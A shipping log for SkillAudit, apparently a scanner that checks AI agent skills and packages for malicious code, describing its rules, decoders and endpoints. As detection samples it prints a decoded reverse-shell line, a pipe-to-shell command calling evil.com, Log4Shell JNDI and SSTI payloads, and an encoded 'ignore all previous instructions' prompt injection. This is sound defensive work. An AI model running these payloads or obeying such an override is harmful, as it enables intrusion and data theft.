# SHIPLOG β SkillAudit Shipping Log
## 2026-02-25 (4:00 PM) β GitHub Repository Scanner
**What:** New endpoint `GET /scan/github?repo=owner/name` scans any public GitHub repository. Fetches security-relevant files across all ecosystems (README, package.json, Cargo.toml, pyproject.toml, source entry points, Dockerfile, CI workflows, env examples). Includes repo-level security analysis: Dockerfile issues (unpinned tags, root user, baked-in secrets), CI/CD credential leaks, and real values in .env.example files. Auto-detects project type and supports branch selection.
**Why:** Most MCP servers and agent tools live on GitHub. This is the "audit my project" endpoint β one URL gets you a full security report across all files. Combined with the npm/PyPI/Cargo scanners, SkillAudit now covers the entire supply chain: individual packages AND source repositories.
**Tested with:** `megamind-0x/skillaudit` (our own repo β 4 files scanned, correctly flags patterns in our scanner code). Error handling works for nonexistent repos and missing params.
## 2026-02-25 (1:00 PM) β Cargo Crate Scanner (3rd Package Ecosystem)
**What:** New endpoint `GET /scan/cargo?crate=name` scans Rust crates from crates.io. Fetches README, Cargo.toml, and source files (lib.rs, main.rs, build.rs) from the linked GitHub repo. Includes Rust-specific security checks: build scripts (arbitrary compile-time code), suspicious build scripts with network/process calls, procedural macros, and unsafe block counting per file.
**Why:** Rust is the #2 language for MCP servers after TypeScript. The official MCP Rust SDK (`rmcp`) has 4M+ downloads. SkillAudit now scans all three major agent tool ecosystems β npm, PyPI, and Cargo. No other AI security scanner covers Rust crates. This positions SkillAudit as THE multi-ecosystem scanner for the agent tool supply chain.
**Tested with:** `rmcp` (MCP Rust SDK, 4M downloads), `serde` (clean scan). Error handling works for nonexistent crates and missing params.
## 2026-02-25 (10:00 AM) β HMAC-SHA256 Signed Webhook Payloads
**What:** All webhook events are now cryptographically signed. Every webhook gets a unique signing secret (`whsec_...`) on registration. Payloads are signed with HMAC-SHA256 over `"timestamp.body"` to prevent replay attacks. Headers include `X-SkillAudit-Signature`, `X-SkillAudit-Timestamp`, and `X-SkillAudit-Delivery`.
**New endpoints:** `POST /webhooks/verify` (programmatic signature verification), `POST /webhooks/:id/rotate` (rotate signing secret). Registration response includes step-by-step verification guide and code examples in Node.js and Python.
**Why:** This is what separates a toy webhook from infrastructure. Stripe, GitHub, Twilio β every serious webhook provider signs payloads so receivers can verify events are authentic. Without signing, anyone who knows your webhook URL can forge SkillAudit events. With signing, receivers can cryptographically verify every event came from us, wasn't tampered with, and isn't a replay. Enterprise teams require this. Security teams require this. You can't be the security layer if your own events are unsecured.
**Security details:** Secrets are shown only once (on creation), hidden in GET /webhooks (shows `signed: true/false`). Secret rotation invalidates the old secret immediately. Timestamp validation rejects events >5 minutes old.
## 2026-02-25 (7:00 AM) β CycloneDX v1.5 SBOM Generation
**What:** New endpoint `GET /scan/:id/sbom` generates a full CycloneDX v1.5 Software Bill of Materials from any scan result. Includes component metadata with SHA-256 hashes, PURL identifiers, all vulnerabilities mapped to CWE IDs (16 SkillAudit categories β proper CWE numbers), severity ratings, remediation recommendations, detected capabilities as services, and threat chains as compositions.
**Why:** SBOMs are required by US Executive Order 14028 for government software supply chains, the EU Cyber Resilience Act, and NIST SSDF. No other tool generates SBOMs for AI agent skills. This makes SkillAudit the only scanner that produces compliance-ready output for the AI agent supply chain. Enterprise and government buyers need this format. Combined with SARIF output, SkillAudit now speaks both major security interchange formats.
**Impact:** SkillAudit scan results can now be imported into any CycloneDX-compatible tool (Dependency-Track, OWASP Dependency-Check, Snyk, Sonatype). This is how you become infrastructure β by producing outputs that fit into existing enterprise security workflows.
## 2026-02-25 (4:00 AM) β Remediation Guidance for All 43 Rules
**What:** Every finding now includes actionable "HOW TO FIX" advice. All 43 detection rules, plus structural patterns, URL reputation, intent analysis, and threat chains β 100% coverage.
**Why:** The gap between "scanner" and "security advisor." Snyk, SonarQube, Semgrep all provide remediation. Without it, SkillAudit tells you what's wrong but not how to fix it. Now it does both.
**New endpoints:** `GET /remediation` (all guidance), `GET /remediation/:ruleId` (per-rule). Report pages show green "π‘ HOW TO FIX" boxes inline with each finding.
**Impact:** Agents can now auto-fix findings programmatically. Humans get clear, specific instructions instead of just red flags.
## 2026-02-25 (1:00 AM) β v1.0.0 Release + npm Publish
**What:** Unified all version numbers to 1.0.0 and published `skillaudit@1.0.0` to npm. SkillAudit is officially production-ready.
**Version cleanup:** The server reported v0.7.0, scanner v0.8.3, package.json v0.9.0 β all stale from different shipping cycles. Now every component reports 1.0.0: package.json, server `/health`, scanner engine, OpenAPI spec, MCP server, CLI.
**Published:** `npm publish` β `skillaudit@1.0.0` on npmjs.com. `npx skillaudit` now gets the latest with all 43 rules.
**What 1.0.0 includes:** 43 detection rules Β· 401 patterns Β· 94 tests Β· 16 threat categories Β· 10 web pages (landing, docs, integrations, rules, playground, dashboard, compare, history, lattice, reports) Β· CLI with gate/scan/manifest subcommands Β· Python SDK Β· GitHub Action Β· MCP server Β· embed widget Β· webhooks Β· policies Β· certificates Β· badges Β· threat feed Β· SARIF export Β· content hash lookup Β· scan comparison Β· batch scanning.
**Why:** Version numbers are trust signals. v0.7.0 says "beta, use at your own risk." v1.0.0 says "this is production infrastructure, we stand behind it." With 43 rules, 401 patterns, and a full test suite, SkillAudit earned that 1.0. Publishing to npm makes `npx skillaudit` pull the latest version with all the new detection rules. The unified versioning also means the /health endpoint, scan results, SARIF output, and CLI all report the same version β no more confusion about which version someone is running.
## 2026-02-25 (12:00 AM) β Interactive Security Playground (/playground)
**What:** Real-time security testing sandbox at `/playground`. Split-pane editor where you type code on the left and see which SkillAudit rules fire on the right β live, as you type.
**Features:**
- **Real-time scanning**: 400ms debounce, scans via `POST /scan/content` as you type. Status indicator shows scanning/idle state.
- **8 pre-built snippets**: one-click to load realistic attack examples β Data Exfiltration, Prompt Injection, Reverse Shell, Wallet Drainer, Log4Shell, Base64 Hidden Payload, SSTI, and Clean Skill. Each demonstrates different threat categories.
- **Split-pane UI**: editor on left with syntax-friendly font, character/line counter, tab-to-indent. Findings on right with severity stats bar, expandable finding cards, and capability tags.
- **Live risk badge**: updates in real-time showing risk level and score as you type.
- **URL params**: `/playground?snip=drain` loads a specific snippet on page load, making examples shareable.
**Why:** This is the best possible demo of SkillAudit's detection engine. Instead of "trust us, we have 43 rules" β anyone can type code and see exactly what fires and why. Security researchers can test coverage gaps. Developers can learn which patterns are dangerous. It's interactive education AND marketing. Every snippet is a "holy shit it catches that?" moment. The playground converts skeptics into believers because they can verify the scanner's intelligence with their own eyes.
## 2026-02-24 (7:00 PM) β 3 New Detection Rules: Wallet Drainer, Env Injection, Log4Shell (43 rules, 401 patterns)
**What:** 3 new rule categories with 34 patterns covering crypto drainers, environment poisoning, and log injection attacks. Total rules: 40 β 43. Total patterns: 367 β 401. Crossed the 400-pattern mark.
**New rules:**
- `WALLET_DRAINER` (critical, 12 patterns) β Detects crypto wallet draining patterns: ERC20 `approve(spender, MAX_UINT256)` unlimited approvals, `setApprovalForAll(true)` NFT draining, `transferFrom` with suspicious from/to patterns, `eth_sendTransaction` via `window.ethereum.request`, Solana `createTransferInstruction` and SPL token transfers, `web3`/`ethers`/`viem` transaction calls, and EIP-2612 `permit` signature exploitation. The existing `CRYPTO_THEFT` rule catches wallet file theft (wallet.dat, seed phrases); this new rule catches the **smart contract exploitation** vector β approving a malicious contract to drain all tokens.
- `ENV_INJECTION` (high, 12 patterns) β Detects environment variable poisoning: `process.env.X = ...` in Node.js, `os.environ[X] = ...` in Python, `export PATH=/tmp/evil:$PATH` hijacking, `LD_PRELOAD`/`DYLD_*` library injection, `NODE_OPTIONS=--require ./malicious.js` code injection, `PYTHONSTARTUP`/`PYTHONPATH`/`RUBYLIB`/`CLASSPATH` path poisoning, credential env var injection (`AWS_*`, `OPENAI_*`, `ANTHROPIC_*`), and `GIT_SSH_COMMAND` replacement. Different from `ENV_RECON` (which detects reading env vars) β this catches **writing** env vars to poison the runtime.
- `LOG_INJECTION` (high, 10 patterns) β Detects log4shell and log injection: JNDI lookup strings `${jndi:ldap://...}`, nested expression bypass `${${lower:j}ndi:...}`, URL-encoded JNDI payloads `%24%7Bjndi:...`, log4j `${env:}/${sys:}/${java:}` lookups, LDAP/RMI URL injection, `javax.naming.InitialContext` exploitation, and user input flowing directly into logger calls. Log4Shell (CVE-2021-44228) was one of the most devastating vulnerabilities ever β any skill that contains JNDI patterns is an immediate red flag.
**Why:** These three rules close major gaps: (1) Crypto agents are a massive and growing category β a skill that calls `approve(MAX_UINT256)` on your tokens is draining your wallet, period. (2) Env var injection is how attackers persist and pivot β setting `NODE_OPTIONS=--require evil.js` means every subsequent Node process is compromised. (3) Log4Shell patterns shouldn't appear in any legitimate skill β their presence is a near-certain indicator of attack payload. With 43 rules and 401 patterns, SkillAudit now covers the full spectrum: agent-specific attacks (prompt injection, schema poisoning, A2A), classic web vulnerabilities (SSRF, XSS, SQLi, deserialization), crypto threats (wallet theft + draining), and infrastructure attacks (persistence, privilege escalation, container escape).
## 2026-02-24 (4:00 PM) β Visual Rules Explorer Page (/rules)
**What:** Interactive page at `/rules` that displays all 40 detection rules organized by 16 categories, with search, severity filtering, and full descriptions.
**Features:**
- **Stats bar**: total rules (40), total patterns (367), categories (16), critical rules count
- **Search**: real-time filter by rule name, ID, description, or category
- **Severity filter**: buttons for All/Critical/High/Medium β instantly filter the view
- **Category grouping**: rules organized under labeled categories (Credential Theft, Agent Manipulation, Code Execution, etc.) with icons and rule counts
- **Rule cards**: each rule shows severity badge, rule ID (monospace), name, pattern count, and full description
- **Content negotiation**: `/rules` serves the HTML page to browsers, JSON to API clients (via Accept header). New `/rules.json` endpoint for guaranteed JSON access.
**Also:** Updated sitemap with `/history`, `/compare`, `/rules` pages. Added "Detection Rules" link to landing page footer.
**Why:** Transparency is the #1 trust signal for a security tool. Users need to know exactly what SkillAudit checks before they trust it with their security pipeline. "We have 40 rules" means nothing without seeing what those rules ARE. Now anyone can browse every rule, understand what it detects, and verify the scanner covers their threat model. This page is the answer to "what does SkillAudit actually check for?" β and it updates automatically as new rules are added.
## 2026-02-24 (1:00 PM) β Paste-to-Scan Mode + URL Param Auto-Scan on Landing Page
**What:** Two UX improvements to the landing page that reduce friction for first-time users.
**Paste tab:**
- New "π Paste" tab alongside URL/npm/PyPI/Repo in the scan box
- Shows a resizable textarea where users paste raw SKILL.md, tool manifests, agent instructions, or any content
- Character counter, Ctrl+Enter shortcut to scan
- Two clickable examples: a malicious skill (webhook.site exfil + SSH key theft) and a clean skill
- Calls `POST /scan/content` directly β results render inline with the same findings UI as URL scans
**URL param auto-scan:**
- Landing page now supports `?url=X` or `?scan=X` query parameters
- When present, auto-fills the input and triggers a scan on page load
- Makes SkillAudit linkable: `skillaudit.vercel.app/?url=https://example.com/SKILL.md` β instant scan result
- Useful for sharing scan links, embedding in docs, and linking from CI/CD outputs
**Why:** The #1 friction point for new users was "I have the content but not a URL." Many people reviewing a skill have it pasted in a document, received in a message, or copied from a PR diff. Before, they had to host it somewhere first. Now: paste β scan β done. The URL param auto-scan makes every scan shareable β instead of saying "go to skillaudit.vercel.app and paste this URL," you send one link that shows the result.
## 2026-02-24 (10:00 AM) β Scan History & Risk Trend Page (/history)
**What:** Visual page at `/history` that shows the complete scan history for any URL with a risk score chart, overview cards, trend analysis, and clickable timeline.
**Features:**
- **Overview cards**: current risk level, current score, total scans, peak risk ever, trend direction (worsening/improving/stable)
- **Risk score chart**: canvas-rendered line chart showing score over time, with risk-colored dots and gradient fill. Zero dependencies β pure Canvas API.
- **Scan timeline**: every past scan as a clickable row with color-coded dot, date, risk level, score, finding count, and score delta from previous scan. Click any entry to view the full report.
- **Trend badge**: color-coded worsening (red), improving (green), or stable (gray) based on recent vs older scan averages.
- **URL params**: `/history?url=...` auto-loads, making history views linkable and shareable.
**Why:** This completes SkillAudit's monitoring story. The `/scan/history/url` API existed since Feb 22 but had no visual interface. Now anyone can paste a URL and instantly see: "this skill was clean for 2 weeks, then risk jumped to HIGH on Feb 20" β the visual pattern of a supply chain attack. The chart makes trends that are invisible in raw API data immediately obvious. Combined with `/compare` (diff two versions) and the drift detection in `/gate`, SkillAudit now has three layers of change monitoring: real-time drift, visual history, and side-by-side comparison.
## 2026-02-24 (7:00 AM) β Visual Scan Comparison Page (/compare)
**What:** Full visual UI for comparing two skill versions side-by-side at `/compare`. Backs the existing `POST /scan/compare` API with a human-friendly interface.
**Features:**
- Two-URL input form with live comparison
- Side-by-side version cards showing risk level, score, and finding count for old vs new
- Risk delta badges: "+12 pts" (red) or "-5 pts" (green) with risk level transitions
- Verdict bar: color-coded summary ("Update INCREASES risk by 12 points. 3 new findings.")
- New findings section (red): every finding introduced in the new version, expandable with severity badge, rule ID, description, and source line
- Resolved findings section (green): issues that were fixed in the new version
- URL parameter support: `/compare?old=URL1&new=URL2` auto-fills and runs the comparison, making results linkable/shareable
- Responsive dark theme matching the rest of the site
**Why:** Supply chain attacks are the #1 threat in the agent ecosystem. An attacker gains trust with a clean skill, then pushes a malicious update. The compare API existed but only developers would use it. This page makes version comparison accessible to anyone β paste two URLs, instantly see what changed. It's the "was this update safe?" button. Added link from the landing page footer for discoverability.
## 2026-02-24 (4:00 AM) β 3 New Detection Rules: Deserialization, SSTI, XXE (40 rules, 367 patterns)
**What:** 3 new critical-severity rule categories with 34 patterns covering fundamental OWASP vulnerabilities. Total rules: 37 β 40. Total patterns: 333 β 367.
**New rules:**
- `DESERIALIZATION` (critical, 12 patterns) β Detects unsafe deserialization: Python `pickle.loads`, `yaml.unsafe_load` (without SafeLoader), `dill.loads`, `cloudpickle.loads`, `jsonpickle.decode`, `torch.load` (without `weights_only`), `joblib.load`, `shelve.open`, `marshal.loads`; Java `ObjectInputStream`/`readObject`, `XMLDecoder`; PHP `unserialize` with user input. These are remote code execution vectors β deserializing untrusted data lets attackers execute arbitrary code.
- `SSTI` (critical, 11 patterns) β Detects Server-Side Template Injection: Flask `render_template_string`, Jinja2/Mako `Template()` with user input, ERB.new with params, Pug/Handlebars/EJS `render`/`compile` with request data. Also catches template exploitation payloads like `{{''.__class__.__subclasses__()}}`, `{%import os%}`, and `{{config}}` β the classic Jinja2 RCE chain.
- `XXE_INJECTION` (critical, 11 patterns) β Detects XML External Entity injection: `<!ENTITY SYSTEM "file://...">` declarations, `<!DOCTYPE` with entity definitions, `lxml.etree.parse` with `resolve_entities=True`, Java `DocumentBuilder`/`SAXParser` with disabled security features, `xml2js.parseString` with user input, PHP `simplexml_load_string` with variables, `LIBXML_NOENT`/`LIBXML_DTDLOAD` flags. XXE enables arbitrary file read, SSRF, and billion-laughs DoS.
**Why:** These are three of the most critical vulnerability classes in the OWASP Top 10. Deserialization (A8:2017) is how attackers get RCE β `pickle.loads(user_data)` is instant code execution. SSTI is how attackers escape template sandboxes to run arbitrary code on the server. XXE is how attackers read `/etc/passwd` through XML parsing. The scanner already covered agent-specific attacks and web security basics, but was missing these three pillars. A skill that does `yaml.unsafe_load(config)` or `render_template_string(user_input)` is a critical vulnerability. Now SkillAudit catches them all. With 40 rules and 367 patterns, the detection coverage spans both the modern agent attack surface AND the full classic web security attack surface.
## 2026-02-24 (1:00 AM) β GitHub Actions CI Pipeline (Green on First Run)
**What:** Full CI/CD pipeline that runs on every push and PR. Tests on Node.js 18, 20, and 22. Validates JSON, checks rule count, verifies all modules load, tests server endpoints.
**Pipeline:**
- **Test job (3x matrix):** Runs 75 scanner tests on Node 18/20/22. Starts server, verifies `/health`, `/gate`, and `/scan/content` endpoints respond correctly.
- **Lint job:** Validates `rules/patterns.json` and `package.json` are valid JSON. Checks rule count hasn't regressed below 30. Verifies all 6 source modules load without errors.
- **Result:** β
Green on first push. 31 seconds total.
**Also shipped:** README badges (CI status + npm version), updated rule/pattern counts (37/333), refreshed sitemap with all pages.
**Why:** No serious infrastructure project ships without CI. The green badge on the README is instant trust signal β it says "this project has automated quality gates, and they pass." The multi-version matrix (Node 18/20/22) proves compatibility. The endpoint verification goes beyond unit tests β it proves the actual server starts and responds. For anyone evaluating SkillAudit for their stack, seeing `CI: passing` is the difference between "interesting project" and "I'll try it."
## 2026-02-23 (10:00 PM) β Comprehensive Test Suite (75 tests, 100% rule coverage)
**What:** Full automated test suite covering every detection rule, every deobfuscation engine, false positive suppression, structural analysis, secret detection, and edge cases. Run with `npm test`.
**Coverage:**
- All 37 detection rules tested with realistic payloads
- Both deobfuscation engines (base64, hex/unicode/charcode) tested for detection AND false positive suppression
- URL reputation, invisible Unicode, intent analysis, structural patterns
- Secret detection (AWS, GitHub PAT)
- 8 false positive suppression tests (doc context, markdown tables, placeholders, code examples)
- Edge cases: empty content, 100KB lines, binary data, deduplication, content hash, version
- All 75 tests pass in <1 second
**Why:** SkillAudit has 37 rules with 333 patterns, 2 deobfuscation engines, structural analysis, intent analysis, capability analysis, and secret detection. That's a LOT of moving parts. Without tests, any change risks breaking existing detections. This test suite is the safety net β it proves every rule works, every decoder works, and false positives stay suppressed. For infrastructure, reliability isn't optional. `npm test` now runs in CI, in development, before every deploy. If a rule regresses, tests catch it before it ships.
## 2026-02-23 (7:00 PM) β Python SDK (pip install skillaudit)
**What:** Zero-dependency Python SDK for SkillAudit. Built, tested against live production, ready for PyPI.
**API surface:**
- `gate(url, threshold, api_key, policy)` β `GateResult` β the infrastructure call. `.allow`, `.decision`, `.risk`, `.score`, `.verdict`
- `scan(url)` β `ScanResult` β full scan. `.risk_level`, `.risk_score`, `.findings[]`, `.is_clean`, `.is_safe`
- `scan_content(text)` β `ScanResult` β scan raw content without fetching
- `bulk_gate(urls)` β `BulkGateResult` β check multiple skills, deny if any fails. `.allow`, `.blocked[]`
- `SkillAudit(api_key, threshold)` class β stateful client with `.gate()`, `.scan()`, `.bulk_gate()`, `.is_safe()`
**Design choices:**
- Zero dependencies β stdlib only (urllib, json, dataclasses). No requests, no httpx. Installs in 0.1s.
- Typed dataclasses for all responses β IDE autocomplete, type checking, clean API
- Snake_case Python conventions (risk_level not riskLevel) with .raw dict for full API access
- `is_safe` one-liner for the common case: `if not client.is_safe(url): raise`
**Framework integration (all tested):**
- LangChain: `@tool def check_skill(url): return gate(url).verdict`
- OpenAI Agents: `@function_tool def audit_skill(url): ...`
- CrewAI: security guard agent with bulk gate
- AutoGen: `register_function(skillaudit_check, ...)`
**Why:** The AI agent ecosystem is Python-first. LangChain, CrewAI, AutoGen, OpenAI SDK β all Python. Before this, Python developers had to write raw HTTP requests. Now: `from skillaudit import gate; gate("url").allow`. Three lines to add security scanning to any Python agent. This is the adoption play β meeting developers where they already are.
## 2026-02-23 (4:00 PM) β Integration Guides Page (/integrations)
**What:** Beautiful, copy-paste integration page at `/integrations` with complete working code snippets for 9 frameworks.
**Frameworks covered:**
- **curl** β one-liner quick start
- **LangChain / LangGraph** β Python gate function + @tool decorator for agents to call
- **CrewAI** β security guard agent pattern + bulk gate
- **OpenAI Agents SDK** β @function_tool guardrail
- **Node.js / TypeScript** β zero-dependency async gate check + bulk
- **OpenClaw** β AGENTS.md policy snippet + CLI commands
- **GitHub Actions** β complete workflow YAML with PR comments
- **MCP Server** β Claude Desktop config for `npx skillaudit-mcp`
- **AutoGen / AG2** β register_function pattern
- **Webhooks** β Slack incoming webhook + SIEM integration
**Design:** Dark theme, accordion UI, syntax-highlighted code with copy buttons, step-by-step instructions. Every snippet is complete β no "fill in later" or pseudocode.
**Why:** The biggest barrier to adoption isn't features β it's friction. Every agent developer who visits SkillAudit needs to see "here's how to add this to MY stack in 3 minutes." This page is the conversion funnel. Before: developer finds SkillAudit β reads docs β figures out how to integrate β maybe tries it. Now: developer finds SkillAudit β clicks "Integration Guides" β copies 5 lines of code β done. The page covers every major agent framework so no one leaves thinking "this doesn't work with my stack."
## 2026-02-23 (1:00 PM) β Security Policy Engine + Allowlist/Denylist
**What:** Two features shipped together β both are enterprise-critical for SkillAudit becoming infrastructure.
**Allowlist/Denylist System:**
- `POST/GET/DELETE /allowlist` and `/denylist` β manage trusted and blocked patterns (API key required)
- Match by exact URL, domain (with subdomain matching), or SHA-256 content hash
- Auto-detects matchType from pattern format (URLs start with `https://`, hashes are 64-char hex, everything else is domain)
- Gate checks denylist first (instant DENY), then allowlist (instant ALLOW), then scans normally
- Bulk gate also checks per-URL before scanning
- 200 entries per list per API key, duplicate prevention
**Security Policy Engine:**
- `POST /policies` β create a named policy with custom rules
- `GET /policies` β list your policies
- `DELETE /policies/:id` β remove a policy
- Policy rules: `maxRiskScore`, `maxFindings`, `blockRules` (specific rule IDs), `blockCategories`, `requireDomains`, `blockDomains`, `noCritical` (zero critical findings), `maxThreatChains`, `requireClean` (score must be 0)
- Gate integration: `/gate?url=X&key=K&policy=POLICY_ID` β evaluates scan against policy
- Policy violations override threshold-based decisions; response includes `policy.violations[]` with specifics
- Example policy: `{"name": "production-strict", "maxRiskScore": 10, "noCritical": true, "blockRules": ["DATA_EXFIL", "REVERSE_SHELL"], "requireDomains": ["github.com"], "maxThreatChains": 0}`
**Why:** These three features (allowlist, denylist, policies) transform SkillAudit from a stateless scanner into a stateful security platform. Before: every scan starts from zero, every decision is threshold-based. Now: teams define WHO to trust (allowlist), WHO to block (denylist), and WHAT rules to enforce (policies). A team can say "only allow skills from github.com and npmjs.com, block anything with credential theft, and deny if risk score exceeds 10." That's not a scanner β that's a security policy engine. This is what enterprises need before they adopt a security tool as infrastructure.
## 2026-02-23 (7:00 AM) β 5 New Detection Rules: Path Traversal, Command Injection, Prototype Pollution, Advanced SSRF, ReDoS
**What:** 5 new rule categories with 44 patterns covering fundamental security vulnerabilities the scanner was missing. Total rules: 32 β 37. Total patterns: 289 β 333.
**New rules:**
- `PATH_TRAVERSAL` (high, 12 patterns) β Detects `../../../etc/passwd`, URL-encoded traversal (`..%2F`), `path.join` with traversal sequences, `readFile` accessing system files, and path manipulation in Python (`os.path.join`). Catches both direct traversal and encoded bypass attempts.
- `CMD_INJECTION` (critical, 12 patterns) β Detects shell command construction from user input: `exec` with template literals (`${userInput}`), `subprocess.run` with `shell=True` and f-strings, pipe-to-shell chains (`; curl evil.com | bash`), backtick command substitution (`$(whoami)`), Java's `Runtime.getRuntime().exec`, and PHP `system()`/`passthru()` with variables.
- `PROTOTYPE_POLLUTION` (high, 8 patterns) β Detects `__proto__` property manipulation, `constructor.prototype` access, `Object.assign`/`setPrototypeOf` with prototype keys, bracket notation pollution (`["__proto__"]`), and dangerous merge/extend patterns that pass user input directly (`deepMerge(defaults, req.body)`).
- `SSRF_ADVANCED` (high, 8 patterns) β Detects user-controlled URL in fetch/axios/http.get calls, octal/hex/decimal IP bypass techniques (`0177.0.0.1`, `0x7f.0.0.1`, `2130706433`), IPv6 localhost variants, and URL parser differential attacks.
- `REGEX_DOS` (medium, 4 patterns) β Detects user-controlled `new RegExp()` construction, nested quantifiers that cause catastrophic backtracking (`(a+)+`), and dynamic regex from request parameters.
**Why:** These are bread-and-butter security patterns that every serious scanner must detect. The existing rules covered agent-specific attacks (prompt injection, schema poisoning, A2A manipulation) but missed fundamental web/code vulnerabilities. A skill with `exec(\`grep ${req.params.name} /var/log\`)` is a command injection vector. A skill with `deepMerge(config, req.body)` is prototype pollution waiting to happen. A skill with `readFileSync("../../../etc/passwd")` is path traversal. These are the #1, #2, and #3 most common code vulnerabilities in OWASP β now SkillAudit catches them all. Combined with the existing rules, SkillAudit now covers both the agent-era attack surface AND the classic web security attack surface.
## 2026-02-23 (1:00 AM) β Scan Summary Cards (Embeddable SVG)
**What:** `GET /scan/:id/card.svg` β generates a visual SVG card for any scan result. Dark theme, risk-colored header, score, findings count, and top 3 findings. Embeddable anywhere images work.
**Design:**
- Header: "π‘οΈ SkillAudit" + color-coded risk badge (green/yellow/orange/red)
- Stats row: risk score, total findings, critical/high/medium counts with colored dots
- Top 3 findings: emoji severity indicators + finding names
- Clean scans: green "CLEAN" badge + "β
No issues detected"
- Footer: version, scan date, skillaudit.vercel.app
- 404: graceful placeholder SVG (no broken images)
- ~2KB, cached 1 hour, proper `image/svg+xml` content type
**Where it works:**
- GitHub READMEs: `` β inline visual proof of security
- Slack/Discord: auto-unfurls as an image when linked
- Documentation: embed alongside skill installation instructions
- Blog posts, tweets, presentations β anywhere you share scan results
**Why:** Every scan result is now a shareable visual asset. When someone shares a SkillAudit card, it's a free impression β the brand, the risk level, and the URL are all visible. The badge API shows pass/fail; the card shows the FULL story. This turns security audit results into social proof that spreads.
## 2026-02-22 (10:00 PM) β Hex/Unicode/CharCode Escape Decoder
**What:** Four new deobfuscation engines that decode hex escapes (`\x41\x42`), unicode escapes (`\u0041\u0042`), `String.fromCharCode(65,66)`, and array-based charcode patterns (`[65,66].map(c=>String.fromCharCode(c))`). All decoded content scanned against 12 shared threat categories.
**Refactor:** Extracted `DECODED_THREATS` and `scanDecodedContent()` as shared infrastructure used by both the base64 decoder (7 PM) and this new escape decoder. Adding future decoders is now trivial β just decode and call `scanDecodedContent()`.
**What it catches (tested):**
- `\x63\x75\x72\x6c\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x68\x6f\x6f\x6b\x2e\x73\x69\x74\x65` β "curl https://webhook.site" β detects URL + network call + exfil domain (3 findings)
- `String.fromCharCode(47,98,105,110,47,98,97,115,104)` β "/bin/bash" β detects hidden shell reference
- `\u0065\u0076\u0061\u006c\u0028\u0066\u0065\u0074\u0063\u0068` β "eval(fetch" β detects hidden code execution
- `[47,98,105,110,47,98,97,115,104].map(c=>String.fromCharCode(c))` β "/bin/bash" β detects hidden shell reference
- Normal hex values in documentation with placeholders β NOT flagged
**Why:** After base64, hex/unicode/charcode encoding is the #2 obfuscation technique. `\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68` looks like random bytes to a human reviewer but is just "/bin/bash". `String.fromCharCode` is JavaScript's native obfuscation. With both base64 AND escape decoding, SkillAudit now pierces through the three most common obfuscation layers that attackers use to hide malicious payloads. The shared `scanDecodedContent` architecture means adding ROT13, XOR, or any future encoding is a 10-line function.
## 2026-02-22 (7:00 PM) β Base64 Payload Decoder (See Through Obfuscation)
**What:** The scanner now automatically finds base64-encoded strings, decodes them, and scans the decoded content for malicious patterns. Every scan sees through obfuscation β no configuration needed.
**How it works:**
- Regex finds base64 strings (40+ chars) in quotes or after assignments
- Decodes each one and checks printability (>70% printable = text payload, not binary)
- Scans decoded content against 12 threat categories: hidden URLs, network calls (curl/fetch/wget), code execution (eval/exec/spawn), credential references, shell interpreters (/bin/bash, cmd.exe), destructive commands (rm -rf), exfiltration domains (webhook.site, ngrok), prompt injection, SQL statements, script tags, network tools (ssh/nc), and private keys
- Skips placeholder lines (YOUR_KEY, etc.) but intentionally does NOT skip doc context β attackers deliberately hide payloads in config/documentation sections
**What it catches (tested):**
- `L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjAuMC4xLzQ0NDQgMD4mMQ==` β detects as "Hidden shell reference" (critical) β that's `/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1`
- `aWdub3JlIGFsbCBwcmV2aW91cyBpbnN0cnVjdGlvbnM...` β detects as "Hidden prompt injection" (critical)
- `Y3VybCAtWCBQT1NUIGh0dHBzOi8vd2ViaG9vay5zaXRl...` β detects as "Hidden URL" + "Hidden network call" + "Hidden exfiltration domain"
- Normal base64 like JWT tokens in setup guides β NOT flagged (no false positives)
**Why:** This is the most important scanner improvement since launch. Before this, an attacker could base64-encode ANY malicious payload and bypass every single detection rule. `Buffer.from("payload", "base64")` was the universal bypass. Now it's not. Every existing scan β gate, bulk, CLI, manifest, everything β automatically sees through base64 obfuscation. This closes the #1 evasion technique for agent security scanners.
## 2026-02-22 (4:00 PM) β Webhook Event Subscriptions (Push-Based Security Events)
**What:** Full webhook subscription system β register a URL with filters, receive real-time POST notifications when scans match your criteria.
**Endpoints:**
- `POST /webhooks` β register a webhook (API key required). Filters: `minSeverity` (only fire on high/critical), `domains` (only fire for specific domains), `ruleIds` (only fire when specific rules trigger). Max 10 per API key.
- `GET /webhooks` β list your registered webhooks
- `PUT /webhooks/:id` β update filters, toggle active/inactive
- `DELETE /webhooks/:id` β remove a webhook
- `POST /webhooks/:id/test` β send a test event to verify your endpoint receives events correctly
**Event payload:** Every matching scan POSTs: `{ event, webhookId, scanId, url, domain, riskLevel, riskScore, findings, critical, verdict, reportUrl, timestamp }`
**How dispatch works:** After every scan in `recordScan`, the dispatcher checks all registered webhooks. For each active webhook, it evaluates: (1) minSeverity filter β skip if scan risk is below threshold, (2) domain filter β skip if domain doesn't match, (3) ruleId filter β skip if no matching rules triggered. Matching webhooks get a POST with the scan summary. Fire-and-forget β never blocks the scan response.
**Why:** This transforms SkillAudit from a pull-based scanner into a push-based security event system. Before: you had to call the API to check results. Now: register a webhook and SkillAudit tells YOU when something matters. SIEM systems, security dashboards, Slack bots, CI/CD pipelines β they all consume webhooks. A Slack integration is now: register a webhook with `minSeverity: "high"` pointed at a Slack incoming webhook URL. Done. Combined with the watchlist (per-URL monitoring) and the threat feed (community-level events), SkillAudit now has three notification layers: per-URL watchlist alerts, filtered webhook subscriptions, and the public threat feed.
## 2026-02-22 (1:00 PM) β Bulk Hash Lookup (Check All My Skills At Once)
**What:** `POST /scan/hash/bulk` β check up to 50 content hashes in a single call. The "inventory check" endpoint.
**How it works:**
- Agent hashes all installed skill files locally (SHA-256)
- POSTs all hashes to `/scan/hash/bulk`
- Gets instant results: which are known (with risk levels), which are unknown (need scanning)
- Returns aggregate risk breakdown, worst risk level, and a separate `unknownHashes` array for easy follow-up
- Validates hash format, reports invalid entries separately
